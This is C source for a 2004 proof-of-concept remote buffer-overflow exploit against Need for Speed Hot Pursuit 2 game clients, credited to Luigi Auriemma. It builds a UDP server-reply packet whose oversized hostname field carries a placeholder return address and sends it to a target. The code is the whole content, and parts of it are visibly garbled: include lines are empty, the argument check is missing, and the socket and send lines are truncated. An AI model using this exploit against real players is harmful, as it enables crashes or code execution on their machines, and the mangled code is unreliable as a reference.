Need for Speed 2 Remote Client Buffer Overflow Exploit

    
 
/*

                              Need for Speed 2 Remote Client Buffer Overflow Exploit - 23.01.2004

                              by Luigi Auriemma

                              UNIX & WIN VERSION
                              */


                              #include 
                              #include 
                              #include 

                              #ifdef WIN32
                              #include 
                              #include "winerr.h"

                              #define close closesocket
                              #else
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #endif






                              #define VER "0.1"
                              #define BUFFSZ 2048
                              #define PORT 61220
                              #define RETADD 0xdeadc0de
                              #define RETOFF 540
                              #define NFS240 "18022640"
                              #define NFS242 "18088178"
                              #define NFSOFF 669 /* referred to pck[] nver, don't change it */






                              void std_err(void);






                              int main(int argc, char *argv[]) {
                              int sd,
                              err,
                              on = 1,
                              psz;
                              struct sockaddr_in peer;
                              u_char *buff,
                              pck[] =
                              "\\gamename\\nfs6"
                              "\\gamever\\240" // it is useless
                              "\\hostname\\"
                              "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                              "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                              "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                              "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                              "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                              "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                              "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                              "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                              "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                              "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                              "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                              "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                              "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                              "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                              "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                              "aaaaaaaaaaaaaaaaaaaaaaaa"
                              "0000" // return address
                              "\\hostport\\8511"
                              "\\mapname\\Fall Winds"
                              "\\gametype\\Single Race"
                              "\\numplayers\\1"
                              "\\maxplayers\\8"
                              "\\gamemode\\openplaying"
                              "\\pbmd\\0"
                              "\\password\\0"
                              "\\nver\\" NFS240
                              "\\ctid\\6"
                              "\\res\\38"
                              "\\dir\\0"
                              "\\laps\\2"
                              "\\ded\\0"
                              "\\final\\"
                              "\\queryid\\2.1";


                              setbuf(stdout, NULL);

                              fputs("\n"
                              "Need for Speed Hot pursuit 2 \n"
                              "\n"
                              "Version:\n"
                              "240 = this is the default (1.0) and more diffused version\n"
                              "242 = the latest patched version, rarely used by players\n"
                              "\n", argv[0]);
                              exit(1);
                              }


                              if(!memcmp(argv[1], "240", 3)) {
                              printf("Selected version 240 (nver %s)\n", NFS240);
                              } else if(!memcmp(argv[1], "242", 3)) {
                              printf("Selected version 242 (nver %s)\n", NFS242);
                              memcpy(pck + NFSOFF, NFS242, sizeof(NFS242) - 1);
                              } else {
                              printf("\nError: you must choose between 240 and 242 only\n");
                              exit(1);
                              }


                              #ifdef WIN32
                              WSADATA wsadata;
                              WSAStartup(MAKEWORD(1,0), &wsadata);
                              #endif

                              sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
                              if(sd  ",
                              inet_ntoa(peer.sin_addr), htons(peer.sin_port));

                              err = sendto(sd, pck, sizeof(pck) - 1, 0, (struct sockaddr *)&peer, psz);
                              if(err 
                              #include 


                              void std_err(void) {
                              char *error;

                              switch(WSAGetLastError()) {
                              case 10004: error = "Interrupted system call"; break;
                              case 10009: error = "Bad file number"; break;
                              case 10013: error = "Permission denied"; break;
                              case 10014: error = "Bad address"; break;
                              case 10022: error = "Invalid argument (not bind)"; break;
                              case 10024: error = "Too many open files"; break;
                              case 10035: error = "Operation would block"; break;
                              case 10036: error = "Operation now in progress"; break;
                              case 10037: error = "Operation already in progress"; break;
                              case 10038: error = "Socket operation on non-socket"; break;
                              case 10039: error = "Destination address required"; break;
                              case 10040: error = "Message too long"; break;
                              case 10041: error = "Protocol wrong type for socket"; break;
                              case 10042: error = "Bad protocol option"; break;
                              case 10043: error = "Protocol not supported"; break;
                              case 10044: error = "Socket type not supported"; break;
                              case 10045: error = "Operation not supported on socket"; break;
                              case 10046: error = "Protocol family not supported"; break;
                              case 10047: error = "Address family not supported by protocol family"; break;
                              case 10048: error = "Address already in use"; break;
                              case 10049: error = "Can't assign requested address"; break;
                              case 10050: error = "Network is down"; break;
                              case 10051: error = "Network is unreachable"; break;
                              case 10052: error = "Net dropped connection or reset"; break;
                              case 10053: error = "Software caused connection abort"; break;
                              case 10054: error = "Connection reset by peer"; break;
                              case 10055: error = "No buffer space available"; break;
                              case 10056: error = "Socket is already connected"; break;
                              case 10057: error = "Socket is not connected"; break;
                              case 10058: error = "Can't send after socket shutdown"; break;
                              case 10059: error = "Too many references, can't splice"; break;
                              case 10060: error = "Connection timed out"; break;
                              case 10061: error = "Connection refused"; break;
                              case 10062: error = "Too many levels of symbolic links"; break;
                              case 10063: error = "File name too long"; break;
                              case 10064: error = "Host is down"; break;
                              case 10065: error = "No Route to Host"; break;
                              case 10066: error = "Directory not empty"; break;
                              case 10067: error = "Too many processes"; break;
                              case 10068: error = "Too many users"; break;
                              case 10069: error = "Disc Quota Exceeded"; break;
                              case 10070: error = "Stale NFS file handle"; break;
                              case 10091: error = "Network SubSystem is unavailable"; break;
                              case 10092: error = "WINSOCK DLL Version out of range"; break;
                              case 10093: error = "Successful WSASTARTUP not yet performed"; break;
                              case 10071: error = "Too many levels of remote in path"; break;
                              case 11001: error = "Host not found"; break;
                              case 11002: error = "Non-Authoritative Host not found"; break;
                              case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
                              case 11004: error = "Valid name, no data record of requested type"; break;
                              default: error = strerror(errno); break;
                              }
                              fprintf(stderr, "\nError: %s\n", error);
                              exit(1);
                              }
                              

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